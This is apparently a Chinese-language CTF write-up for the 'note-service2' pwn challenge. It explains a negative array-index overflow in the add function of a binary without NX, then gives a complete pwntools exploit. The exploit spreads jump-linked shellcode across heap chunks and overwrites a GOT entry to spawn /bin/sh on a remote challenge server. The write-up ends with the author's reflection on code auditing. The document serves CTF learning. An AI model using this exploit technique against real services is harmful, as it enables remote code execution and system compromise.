note-service2
安全检查
流程分析
add函数,这里有一个溢出漏洞,但我没看到-_-||,注意力一直在输入函数和free函数上
del函数
漏洞利用
由于程序没有NX防护,所以堆和栈都有可执行属性(我以前一直以为NX只是对栈取消了可执行效果,原来对堆也有效果),通过add函数没有对数组进行检查,导致数组可以进行负溢出,并且通过偏移地址hook了got.plt来达到get shell效果
exp
from pwn import * #p=process('./note') p=remote('220.249.52.134',50441) def add(idx,size,content): p.recvuntil('>> ') p.sendline('1') p.recvuntil('index:') p.sendline(str(idx)) p.recvuntil('size:') p.sendline(str(size)) p.recvuntil('content:') p.sendline(content) def delete(idx): p.recvuntil('>> ') p.sendline('4') p.recvuntil('index:') p.sendline(str(idx)) add(0,0x8,'a') add(1,0x8,asm('mov eax,0x3b')+b'\xeb\x19') add(2,0x8,'\x48\x33\xf6\x90\x90\xeb\x19') add(3,0x8,'\x48\x33\xd2\x90\x90\xeb\x19') add(4,0x8,asm('syscall').ljust(7,b'\x90')) add(5,0x8,'/bin/sh') delete(0) add(-17,0x8,'\x48\x33\xc0\x90\x90\xeb\x19') #gdb.attach(p) p.interactive()
感想
这道题,发现了自己的不足,明白队长为什么要锻炼我的代码审计能力,因为这个数组的负溢出一直没看到,也没去注意,写题也一直是学会别人的解题方式后,再用别人的方式来解下一题,这样周而复始,最大的原因就是代码审计不过关,接下来得要求自己写题目跟写vm题一样有耐心,认真审题,把所有的漏洞都在代码中标记出来,看能利用,再决定要不要看wp